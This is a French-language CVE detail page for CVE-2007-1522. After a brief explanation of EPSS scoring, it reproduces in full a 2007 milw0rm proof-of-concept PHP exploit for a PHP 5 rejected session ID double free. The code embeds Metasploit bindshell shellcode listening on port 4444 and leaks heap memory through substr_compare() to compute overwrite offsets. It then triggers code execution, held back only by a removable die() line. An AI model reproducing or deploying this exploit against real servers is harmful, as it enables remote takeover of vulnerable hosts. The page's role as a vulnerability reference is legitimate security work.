CVE-2007-1522 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 5 Rejected Session ID Double Free Exploit // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; // Offsets used for the overwrite (will be overwritten by findOffsets() $offset_1 = 0x55555555; $offset_2 = 0x08048040; if (PHP_VERSION < "5.2.0") { die ("Only works with PHP >= 5.2.0"); } findOffsets(); // Comment out if you want to just test the crash // Convert offsets into strings $addr1 = pack("L", $offset_1); $addr2 = pack("L", $offset_2); define("C0", $addr1[0]); define("C1", $addr1[1]); define("C2", $addr1[2]); define("C3", $addr1[3]); define("M0", $addr2[0]); define("M1", $addr2[1]); define("M2", $addr2[2]); define("M3", $addr2[3]); $c=1; function myErrorHandler() { global $c; if ($c==1) { $c=0; return true; } session_id(str_repeat("A", 100)); $GLOBALS['str'] = str_repeat("A", 39); for ($i=0; $i<7; $i++) { $GLOBALS['str'][$i*4+0] = M0; $GLOBALS['str'][$i*4+1] = M1; $GLOBALS['str'][$i*4+2] = M2; $GLOBALS['str'][$i*4+3] = M3; } $GLOBALS['str'][8*4+0] = C0; $GLOBALS['str'][8*4+1] = C1; $GLOBALS['str'][8*4+2] = C2; $GLOBALS['str'][8*4+3] = C3; return true; } function doit() { ini_set("session.hash_bits_per_character", 666); error_reporting(E_ALL); set_error_handler("myErrorHandler"); session_id(str_repeat(":", 39)); session_start(); } doit(); // This function uses the substr_compare() vulnerability // to get the offsets. function findOffsets() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff; // Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00"; $memdump = str_repeat("A", 4096); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); } // If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65; for ($i=0; $i<4096; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); // Fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4; } ?> # milw0rm.com [2007-03-14]